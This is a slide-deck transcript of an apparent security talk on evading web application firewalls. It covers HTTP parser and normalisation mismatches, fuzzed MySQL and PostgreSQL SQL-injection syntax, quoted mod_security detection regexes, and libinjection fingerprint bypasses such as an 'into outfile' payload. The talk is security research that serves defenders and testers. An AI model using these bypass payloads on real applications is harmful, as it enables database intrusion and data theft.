Lie to Me: Bypassing Modern Web Application Firewalls
-
Upload
ivan-novikov -
Category
Technology
-
view
20.284 -
download
2
description
Transcript of Lie to Me: Bypassing Modern Web Application Firewalls
bypassing modern web application firewalls
@ONsec_lab, http://lab.onsec.ru
About
• Security audits of webapps since 2009
• @d0znpp twitter
• @ONsec_lab twitter
• Nice blog! http://lab.onsec.ru - [ENG]
• d0znpp[at]ONsec[dot]ru еmаi1
Software VS Hardware
• Different HTTP parsers
• Many «hardware» WAFs used Apache, Lighttpd, Nginx forks
Implementation
• Failover bypass:
• DoS/DDoS WAF for bypass it- why not?!
• What happens with traffic when your filter is overloaded?
• XML, regexp, token bombs for this
• Not so silently, right? :)
WAF work stages
• Parse HTTP packet from client (web server to this in general case)
• Determine rules that must be applied to current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64, etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
WAF work stages
• Parse HTTP packet from client (web server to this in general case)
• Determine rules that must be applied to current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64, etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
Parse HTTP packets• First read: «Protocol-Level Evasion of Web
Application Firewalls», Ivan Ristic, BH-US-2012
• Nice yesterday bypass Imperva by @webpentest during PHDays WAF bypass contest: Content-Type: invalid :)))
• Classic example - HTTP Parameter Pollution
• Are you sure that WAF’s and webapp’s HTTP protocols are the same?
WAF work stages
• Parse HTTP packet from client (web server to this in general case)
• Determine rules that must be applied to current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64, etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
Data normalization
• Format parsers, for example:
• base64
• xml
• JSON
• Are you sure that WAF’s and webapp’s parsers are the same?
Data normalization
• mod_security, t:base64decode
• decode string until first = char
• PHP, base64_decode($strict=false)
• decode whole string
• Attack vector
• YWFh=attackhere
• Use t:base64DecodeExt!
Data normalization
• Yet another example from yesterday PHDays WAF bypass contest - Imperva XML decoding
• First decode XML, that validate attacks
• XML input was not set up as XML type in WAF
• Put attack as XML-encoded data (entities) to bypass regexpr: union select 123
WAF work stages
• Parse HTTP packet from client (web server to this in general case)
• Determine rules that must be applied to current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64, etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
SQL syntax
• First read this works:
• http://websec.wordpress.com/tag/sql-obfuscation/
• http://www.slideshare.net/nickgsuperstar/new-techniques-in-sql-obfuscation
• Obfuscated vector is more than welcome!
• Try to exploit
SQL syntax - time to fuzzing!
• SELECT{$P1} 1 FROM...
• ...UNION{$P2}FROM...
• SELECT VERSION{$P3}()
• SELECT{$P4}VERSION{P4}()
• SELECT 1{P5}BAD
MySQL: the classics
• SELECT{U} 1 FROM
• ...UNION{U}FROM...
• SELECT VERSION{U}()
• {U} = [0x09,0x0A-0x0D,0x20,0xA0]*
• Fuzzed only 1-bytes sequences, not /**/, etc
MySQL: time to fuzzing!• SELECT{F}VERSION{F}()
• SELECT 1{D}BAD
• {F} = {U} + 0x60 (backquote `)
• {D} = # + 0x60
• Have a fun with regexp:
• select`version` ( )
• ... where id=’1’`’ and ... - commented now
MySQL: break tokens!• SELECT{O}1 FROM test
• {O} = [-+!~@]
• SELECT 1{W}FROM test;
• {W} = [.\d?|e\d]
• Part of this discovered during our WAF bypass contest last year by @Black2Fan
MySQL: break tokens!• SELECT-1e1FROM test
• SELECT~1.FROM test
• SELECT\NFROM test
• SELECT@^1.FROM test
• SELECT-id-1.FROM test
• all tested on MySQL 5.1.66-0-squeeze1
Postgres: the classics
• SELECT{U} 1 FROM
• ...UNION{U}FROM...
• SELECT VERSION{U}()
• {U} = [0x09,0x0A,0x0C,0x0D,0x20]*
• Fuzzed only 1-bytes sequences, not /**/, etc
Postgres: time to fuzz!• SELECT{F}VERSION{F}()
• SELECT 1{D}BAD
• {F} = {U} + 0x22 (doblequote ‘’)
• {D} = # + 0x22
• Have a fun with regexp:
• select’’version’’ ( )
• ... where id=’1’`’ and ... - commented now
Postgres: break tokens!
• SELECT{O}1 FROM test
• {O} = [.-+!~@] - @ is absolute operator
• SELECT 1{W}FROM test;
• {W} = [.\d?|e\d|] - nothing is also OK!
Postgres: break tokens!• SELECT-1ROM test
• SELECT.1FROM test
• SELECT~1FROM test
• SELECT-id-1FROM test
• SELECT-id-1FROM test
• all tested on PostgreSQL 9.2.4
mod_security
• CRS (https://github.com/SpiderLabs/owasp-modsecurity-crs)
• base_rules
• many regular expressions
mod_security• ?id=select id from test
• ?id=select-id-1.from test
Message: Access denied with code 403 (phase 2). Pattern match "(?i:(?:union\\s*?(?:all|d i s t i n c t | [ ( ! @ ] * ? ) ? \ \ s * ? [ ( [ ] * ? \ \ s * ? se l e c t \ \ s + ) | ( ? : \ \ w + \ \ s + l i ke \ \ s + [ \ " ' `\xc2\xb4\xe2\x80\x99\xe2\x80\x98])|(?:like\\s*?[\"'`\xc2\xb4\xe2\x80\x99\xe2\x80\x98]\\%)|(?:[\"'`\xc2\xb4\xe2\x80\x99\xe2\x80\x98]\\s*?like\\W*?[\"'`\xc2\xb4 ..." at ARGS:id. [file "/opt/modsecurity/rules/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "223"] [id "981245"] [msg "Detects basic SQL authentication bypass attempts 2/3"] [data "Matched Data: select id from found within ARGS:id: select id from test"] [severity "CRITICAL"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"]
mod_security• ?id=1 or 1=1 or
• ?id=1 or true or
Message: Access denied with code 403 (phase 2). Pattern match "(?i:([\\s'\"`\ x c 2 \ x b 4 \ x e 2 \ x 8 0 \ x 9 9 \ x e 2 \ x 8 0 \ x 9 8 \ \ ( \ \ ) ] * ? ) ( [ \ \ d \ \ w ] + + ) ( [ \ \ s ' \ " `\xc2\xb4\xe2\x80\x99\xe2\x80\x98\\(\\)]*?)(?:(?:=|<=>|r?like|sounds\\s+like|regexp)([\\s'\"`\xc2\xb4\xe2\x80\x99\xe2\x80\x98\\(\\)]*?)\\2|(?:!=|<=|>=|<>|<|>|\\^|is\\s+not|not\\ ..." at A R G S : i d . [ fi l e " / o p t / m o d s e c u r i t y / r u l e s / b a s e _ r u l e s /modsecurity_crs_41_sql_injection_attacks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL Tautology Detected."] [data "Matched Data: 1=1 found within ARGS:id: 1 or 1=1 or "] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]
libinjection
• Token based detection
• No more regexp!
• Fingerprint for each attack 1-5 tokens sequence
• 14 token types, 14^5+14^4+14^3+14^2+14 ~= 580k possible fingerprints
• Is it enough to block all SQLi?
libinjection
• Bytes obfuscation doesn’t works now
• But...
• What happens if you missed some tokens?
Attack #1. Missed token / fingerprint
• As fuzzed above ` 0x60 byte can be used as a comment in MySQL and also as function quotes
• ' into outfile 'asd' --
• block - skksc
• ' into outfile 'asd' `
• bypass - skksn
Attack #2. Token obfuscation
• Find any unblocked fingerprint
• Obfuscate your attack to produce the same fingerprint
• Fingerprint have only 5 tokens
• Need to exploit anti-obfuscation logic (1+1 and others hardcoded token combinations)
Attack #2. Token obfuscation
• Fingerprint «v1111» looks like safe
• @a1a2a3a4 - variable but fingerprint of this string is «v», no numeric token here
• @ф1й2у3ц4 - is valid variable for MySQL, but produce fingerprint «v1111»
• @ф1й2у3ц4 union select ... produce fingerprint «v1111» also :)
Some stats
• Hacking WAFs since 2009
• About 50 different implementations
• About 10 different engines
• Time to hack:
• min: 3 min
• max: 19 hours
• average: 1hour